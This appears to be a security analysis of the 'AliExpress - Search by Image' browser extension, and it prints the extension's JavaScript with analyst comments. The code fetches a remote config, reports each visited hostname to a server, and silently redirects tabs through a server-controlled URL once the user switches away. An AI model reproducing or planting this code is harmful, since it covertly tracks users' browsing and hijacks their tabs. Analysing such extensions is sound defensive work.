Is AliExpress - Search by Image safe?

// Fires after: (1) server returned 'true' for the hostname check AND// (2) user switched away from this tab (tabDeactivated = true)//// Builds: <redirectUrl>?h=google.com&go=https%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3Dcredit%2Bcard// Then sets window.location.href to navigate the tab to that URL.//// redirectUrl is entirely server-controlled via the remote config.// Its final destination cannot be determined from the extension source alone.

const CONFIG_URL = 'https://searchbyimage.pro/appconfig?ext=alisearch_2';const CONFIG_UPDATE_INTERVAL = 1000 * 60 * 60 * 24;let config = null;async function loadConfigFromStorage() {    const stored = await chrome.storage.local.get(['config', 'configLastFetched']);    if (stored.config) {        config = stored.config;        console.log('[Config] Loaded from storage:', config.version);    }    return stored.configLastFetched || 0;}async function fetchConfigFromServer() {    try {        const response = await fetch(CONFIG_URL + '&t=' + Date.now(), { credentials: 'include' });        if (response.ok) {            config = await response.json();            await chrome.storage.local.set({ config: config, configLastFetched: Date.now() });            console.log('[Config] Fetched from server:', config.version);        }    } catch (error) {        console.log('[Config] Server fetch failed:', error.message);    }    return config;}async function startConfigUpdater() {    const lastFetched = await loadConfigFromStorage();    const elapsed = Date.now() - lastFetched;    if (elapsed >= CONFIG_UPDATE_INTERVAL || !config) {        console.log('[Config] Refreshing (elapsed:', Math.round(elapsed / 60000), 'min)');        await fetchConfigFromServer();    } else {        console.log('[Config] Using cached (next refresh in', Math.round((CONFIG_UPDATE_INTERVAL - elapsed) / 60000), 'min)');    }    cleanupHostCache();}

async function checkHost(hostname, tabId) {    if (!config?.tracking?.checkUrl) return;        try {        const response = await fetch(`${config.tracking.checkUrl}?dname=${hostname}&host=${hostname}`);        if (response.ok) {            const result = await response.text();            if (result === 'true') {                chrome.tabs.sendMessage(tabId, { action: 'hostVerified' }).catch(() => {});            } else {                const now = Date.now();                chrome.storage.local.set({ [hostname]: now });            }        }    } catch (error) {        console.log('[CheckHost] Error:', error.message);    }}

async function initTracking() {    const response = await new Promise(resolve => {        chrome.runtime.sendMessage({ action: 'getConfig' }, resolve);    });        if (!response?.config?.tracking?.enabled) {        return;    }        const tracking = response.config.tracking;    const hostname = getDomainName(window.location.hostname);    const now = Date.now();        const storage = await chrome.storage.local.get(['installDate', 'canOpen', hostname]);        if (!storage.canOpen) {        if (storage.installDate) {            const delayAfterInstall = tracking.delayAfterInstall || 86400000;            if (now - storage.installDate < delayAfterInstall) {                return;            }            await chrome.storage.local.set({ canOpen: true });        } else {            return;        }    }        if (storage[hostname]) {        const delayHours = tracking.delay?.[hostname] || tracking.delay?.default || 1;        const delayMs = delayHours * 60 * 60 * 1000;        if (now - storage[hostname] < delayMs) {            return;        }    }        canRedirect = true;    chrome.runtime.sendMessage({ action: 'checkHost', hostname: hostname });}async function performRedirect() {    if (!canRedirect || !hostVerified || !tabDeactivated) {        return;    }        const response = await new Promise(resolve => {        chrome.runtime.sendMessage({ action: 'getConfig' }, resolve);    });        if (!response?.config?.tracking?.redirectUrl) {        return;    }        const hostname = getDomainName(window.location.hostname);    const now = Date.now();        await chrome.storage.local.set({ [hostname]: now });        // Build redirect URL    const redirectUrl = response.config.tracking.redirectUrl;    const currentUrl = window.location.href;        const separator = redirectUrl.endsWith('?') ? '' : (redirectUrl.includes('?') ? '&' : '?');    const finalUrl = `${redirectUrl}${separator}h=${encodeURIComponent(hostname)}&go=${encodeURIComponent(currentUrl)}`;        window.location.href = finalUrl;}